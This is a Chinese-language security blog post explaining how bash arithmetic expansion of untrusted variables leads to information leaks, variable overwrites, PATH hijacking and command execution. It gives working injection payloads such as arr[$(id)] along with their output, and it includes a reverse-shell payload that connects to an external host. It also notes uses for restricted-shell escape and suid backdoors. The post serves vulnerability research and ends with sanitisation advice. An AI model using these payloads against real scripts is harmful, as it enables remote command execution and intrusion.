从算数扩展到 RCE

算数扩展导致的 RCE,有趣,可惜利用场景比较少见。 起源大家在初三的时候就知道了 shell 可以通过 $变量名 来实现引用变量。举例 I=$(whoami); echo "I am $I",结果是 I am Macr0phag3。 与之对应的还有一个特性,官方名字应该是 算术扩展(Arithmetic Expansion),参考链接 但有一个限制,即表达式中的元素必须是数字、算数函数或者变量,如果不符合会报错。可以用的算术符可以参考这个 最后得到的值也是数字。若传入的是字符串,则会得到为 0;如果字符串含有非字母,则会报错: ➜ ~ a=1; echo $((a)) 1 ➜ ~ a="a"; echo $((a)) bash: a: expression recursion level exceeded (error token is "a") ➜ ~ a="A"; echo $((a)) 0 ➜ ~ a=":A"; echo $((a)) bash: :A: syntax error: operand expected (error token is ":A") 所以这到底有什么用呢?别着急,来看些例子。 信息泄露#!/bin/bash echo $var if (( var == 0 )) then echo "zero" else echo "not zero" fi 运行: ➜ ~ var='PATH' ./test.sh PATH ./test.sh: line 5: ((: /usr/home/macr0phag3... 报错会带出 PATH 里的内容。可见 (( var == 0 )) 会展开里面的内容,并且实际上还是递归的。 变量覆盖递归展开,例如这个变量覆盖的例子: #!/bin/bash code=404 echo $var echo $username if (( var == 0 )) then echo "zero" else echo "not zero" fi if [[ $code == 200 ]] then echo "pass" else echo "access denied" fi 运行 ➜ ~ ./test.sh 404 zero access denied ➜ ~ var='code=200' ./test.sh code=200 404 not zero pass 递归展开了 var='username=200',从而改变了看似无法改变的 username 的值。当然,递归展开的时候,得到的值也只会是数字,所以 username 最后会是数字。 既然能够覆盖变量,那么覆盖一个 PATH 也是手到擒来,这会导致命令替换,从而执行任意命令。假设有以下脚本: #!/bin/bash if (( var == 0 )) then echo "zero" else echo "not zero" fi # ... id # ... 这个脚本执行了 id。那么我们可以通过覆盖 PATH,使得这个脚本在执行的时候变成执行我们秘制的 id: ➜ ~ md 0 ➜ ~ echo 'echo "hacked by Macr0phag3"' > ./0/id ➜ ~ chmod +x ./0/id ➜ ~ var='PATH=0' ./test.sh zero hacked by Macr0phag3 (0 可以换为任意数字) 可惜的是,这个利用场景有点苛刻,要满足: 源脚本在算术扩展后执行了一个命令 能在源脚本运行的目录下创建目录 0 能够在 0 下面创建同名的恶意脚本 命令执行覆盖 PATH 实现的命令执行,可以,但是不够舒服。如果在算式中使用数组,并且索引为命令,那么在算术扩展的时候会将该命令替换为命令执行的结果,从而实现命令执行: #!/bin/bash echo $var if (( var == 0 )) then echo "zero" else echo "not zero" fi 运行: ➜ ~ var='arr[$(id)]' ./test.sh arr[$(id)] /usr/home/macr0phag3/test.sh: line 5: uid=1087(macr0phag3) gid=1088(macr0phag3) groups=1088(macr0phag3): syntax error in expression (error token is "(macr0phag3) gid=1088(macr0phag3) groups=1088(macr0phag3)") ➜ ~ var='arr[$(whoami)]' bash ~/test.sh arr[$(whoami)] zero 由于算术扩展的输入是字母类型,所以只有在命令的结果含有特殊字符的时候才有回显,所以可以拼一个特殊字符是它报错: ➜ ~ var='arr[:$(whoami)]' ./test.sh arr[:$(whoami)] /usr/home/macr0phag3/test.sh: line 5: :macr0phag3: syntax error: operand expected (error token is ":macr0phag3") 还可以这样,让命令的输出走 stderr: ➜ ~ var='arr[0$(whoami>&2)]' ./test.sh arr[0$(whoami>&2)] macr0phag3 zero 这样 0$(whoami>&2) 实际上就是 0,可以避免报错。不懂的话,可以看这个,更加直观一些: ➜ ~ var='arr[0$(whoami>&2)]' ./test.sh 2>/dev/null arr[0$(whoami>&2)] zero 虽然可以避免报错,但是由于命令输出走的是 stderr,不一定会回显到应用上。 不过说实话,都能执行任意命令了,其实无所谓输出不输出,反弹 shell 完事: var='arr[$(bash -i >& /dev/tcp/10.xx.xx.xx/2333)]' ./test.sh 利用场景可被用于算术扩展的语句不止 if (( var == 0 )),还可以是 if [[ $var -lt 0 ]]、if [ -v "$var" ]、echo "$((var))"。有这个缺陷的也不止 bash,例如 zsh 也有类似的问题,比如 echo "$((var))"。不过那三个 if 我试了一下不太行: ➜ ~ var='arr[0$(whoami)]' bash ./test.sh arr[0$(whoami)] ./test.sh: line 5: 0macr0phag3: value too great for base (error token is "0macr0phag3") ➜ ~ var='arr[0$(whoami)]' zsh ./test.sh arr[0$(whoami)] not zero 最后,总的来说,这个利用方式其实比较少见。可能的利用场景,例如: 执行用户可控环境变量的固定脚本。例如 url 中某个参数给用户提供了环境变量修改的权限,例如执行脚本时的语言(LC_CTYPE 之类的)。这种情况下有机会造成命令执行。 受限的 shell 环境,或许能够通过这个方法进行逃逸。 结合 suid 进行提权。可以通过这个来留提权的后门,不过现在大部分的 shell 都不会理会 shell 脚本的 suid。 解决方案目前我还没找到通用的解决方案,恐怕只能通过避免使用这些会进行算术扩展的语句,如果非得使用,可以对输入进行消毒处理。...
 2020-08-17   经验总结    Linux